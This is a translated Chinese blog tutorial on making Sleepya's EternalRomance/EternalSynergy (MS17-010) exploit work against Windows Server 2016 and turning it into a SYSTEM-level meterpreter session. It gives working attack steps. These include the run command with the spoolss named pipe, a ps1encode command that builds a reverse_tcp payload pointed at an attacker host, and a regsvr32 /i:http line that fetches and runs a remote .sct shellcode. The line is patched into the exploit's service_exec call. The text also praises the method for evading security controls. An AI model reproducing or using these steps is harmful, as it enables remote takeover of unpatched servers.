译者:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
当微软发布了MS17-010漏洞的补丁时,人们发现这个漏洞会影响从Windows 7到Windows Server 2016版的Windows系统(更为准确地说还包含Vista系统,但我们通常会忽略掉这个系统)。然而,影子经纪人(TheShadowBrokers)公布的“永恒”(ETERNALS)系列漏洞利用工具在Windows Server 2012及更高版本的系统上非常不稳定,99%的概率会造成受害主机蓝屏(BSOD)。
为了进一步理解并用好NSA的漏洞利用工具,很多安全研究人员都对这个工具进行了研究。几天之前,Sleepya公布了一个漏洞利用工具,这个工具借鉴了EternalRomance/Synergy的漏洞思想,同时对利用方法进行了改进,因此在攻击Windows Server 2012及2016时更为稳定。为了使用这个工具,我们需要做好某些准备工作、理解工具的工作原理、修改某些配置,这样在攻击目标主机时才能达到我们真正的目的。
这也是我写这篇文章的出发点。在这篇文章中,我会按步骤介绍如何使Sleepya的漏洞利用工具正常工作,以及如何修改此工具以获取目标主机的Meterpreter会话。
当然,我是出于调查研究目的才撰写这篇文章的。
我们的实验环境使用如下配置:
1、目标主机:Windows Server 2016
目标主机使用了Windows Server 2016 x64操作系统。
默认安装系统后,无需做其他修改,只需要获取主机的IP地址,保持主机在线即可。
2、攻击主机:GNU/Linux
攻击主机可以使用任何操作系统,只要在系统中我们能够使用如下工具即可:
总结一下,我们实验环境的具体配置为:
目标主机:Windows Server 2016 x64,IP:10.0.2.13。
攻击主机:GNU/Linux Debian x64,IP:10.0.2.6。
二、工具利用
我们可以在exploit-db上找到对应的漏洞利用代码。
代码使用Python编写而成。因此,我们需要将其保存为攻击主机上的.py文件。下载完成后,如果我们运行这个漏洞利用代码,会出现如下错误:
现在让我们来解决程序依赖问题。
代码第3行引入了“mysmb”模块,这个模块不属于Python的内置模块,因此无法通过pip来安装它。该模块由Sleepya开发,我们需要从他个人的Github仓库中下载。
我们将该模块保存在漏洞利用工具的同一目录中,文件名为“mysmb.py”。对Python而言,如果我们要在脚本中导入某个模块的代码,就需要创建一个名为“__INIT__.py”的文件。
完成这些操作后,漏洞利用脚本就会找到正确的模块,不会再提示任何错误。
三、检查利用工具有效性
我们不需要做太多修改,就能检查漏洞利用代码是否能够正常运行。如果我们按照正常的方式执行漏洞利用程序,一旦漏洞利用成功,它会在目标主机的“C:”盘中生成名为“pwned.txt”的一个文件。
即使在上面这个简单的测试中我们不需要对漏洞利用工具本身做任何修改,但在工具的实际使用中,我们还是需要设置某些参数,如下文所述。
3.1 填写认证信息
EternalRomance/Synergy漏洞利用工具正常工作的前提是需要通过身份认证。如果目标主机启用了访客(Guest)账户,我们可以利用该账户实施攻击,否则我们需要获取目标主机中一个可用的用户名及密码。这里需要强调的是,无论我们使用的账户权限如何,即使这个账户是一个Guest账户,最终漏洞利用成功后我们都会获得SYSTEM权限。
打开exploit.py,修改第26及27行,填写身份认证信息:
这里我们可以设置需要使用的用户名及密码。
3.2 设置运行参数
我们还需要设置目标主机的IP地址以及管道(pipe)名称。SMB协议定义了3种类型的共享方式:
1、文件(File):文件(或磁盘)资源共享,以目录树及所包含的子文件形式呈现。
2、打印(Print):打印资源共享,可以访问服务器上的打印资源。
3、管道(Pipe):使用FIFO模型的进程间通信方式,也称之为命名管道(named pipes),以便在系统运行时进行信息传输。
与EternalBlue工具不同的是,EternalRomance以及EternalSynergy使用了命名管道中存在的一个漏洞,因此我们在攻击某台主机前需要设置具体使用哪个命名管道。
我选择的是“spoolss”,当然也可以使用“browser”。我们也可以使用metasploit的扫描器“auxiliary/scanner/smb/pipe_auditor”来检查目标主机内可以访问的管道。
3.3 不引入shellcode时运行利用工具
现在,我们使用如下命令运行漏洞利用脚本:
python exploit.py <target_ip> spoolss
我们前面说过,如果漏洞利用成功,我们可以在目标主机的“C:”盘中看到一个名为“pwned.txt”的新文件生成。
成功漏洞利用对我们来说已经是迈出了一大步。接下来,我们会继续分析,探索如何修改漏洞利用工具以获得meterpreter shell。
四、生成shellcode
除了编写文本文件之外,我们还可以使用各种方法让漏洞利用程序运行一个meterpreter shell或者执行其他动作。
首先我们需要生成待使用的shellcode,这里我会使用我个人非常喜欢的一个办法,这个办法在规避安全控制方面有许多优点。
如果用一句话来概括这个方法,那就是将shellcode嵌入到一个.SCT文件中,漏洞利用程序会将该文件下载到目标主机中加以执行,最终给我们返回梦寐以求的meterpreter会话。
4.1 使用PS1ENCODE创建.SCT文件
Ps1encode这个工具非常有用,能够以多种格式生成基于PowerShell的metasploit载荷(payload)并对载荷进行编码。
可以从Github上下载这个工具。
我们可以使用如下命令,生成所需的载荷:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct
生成的.SCT文件必须存放在攻击者主机上搭建的Web服务器中,或者存放在目标主机能够访问的任何一台主机中。这也是我们在执行之前的命令时,程序要求我们填写存放.sct文件的URL地址的原因。如果我们将攻击者主机作为Web服务器来使用,我们只需要填入“http://<ATTACK_IP>”即可。
4.2 下载shellcode.sct
现在我们已经在Ps1Encode的当前目录中生成了一个index.sct文件,为了让漏洞利用工具将该文件下载到目标主机中,我们需要将其移动到Web服务器目录中,分配适当的权限。
如上图所示,执行完这些命令后,我们会得到一个shellcode,以待后续使用。
五、修改利用工具的行为
使用文本编辑器打开漏洞利用程序,跳转到463行,我们可以看到如下语句:
这些函数就是漏洞利用程序用来在目标主机上创建“pwned.txt”时使用的函数,比这些语句更有意思的是,我们可以在469行看到一个service_exec()函数,这个函数目前处于注释状态。
从这行代码我们可知,该函数会执行一个“copy”命令,生成“pwned.txt”文件的一个副本。如果不删掉“#”注释符,这行语句就不会被执行。取消注释,再次运行漏洞利用程序,我们可以在“C:”盘中发现两个文本文件:pwned.txt以及pwned_exec.txt。
因此,我们可以修改copy命令,将其替换为我们想要执行的任何语句。
既然已知如何修改漏洞利用程序,改变程序执行动作,那么我们可以使用如下语句,替换service_exec()函数原来执行的copy命令:
regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll
修改后的利用程序如下所示:
六、获取Meterpreter会话
最后,在执行exploit.py之前,我们需要配置metasploit的exploit/multi/handler监听端,以便接收meterpreter会话。
修改后的漏洞利用程序的执行情况如下图所示:
几秒钟之后,我们就能获取目标主机上的具备SYSTEM权限的meterpreter会话。
七、总结
没有多余的总结,赶紧给自己的系统打上补丁吧!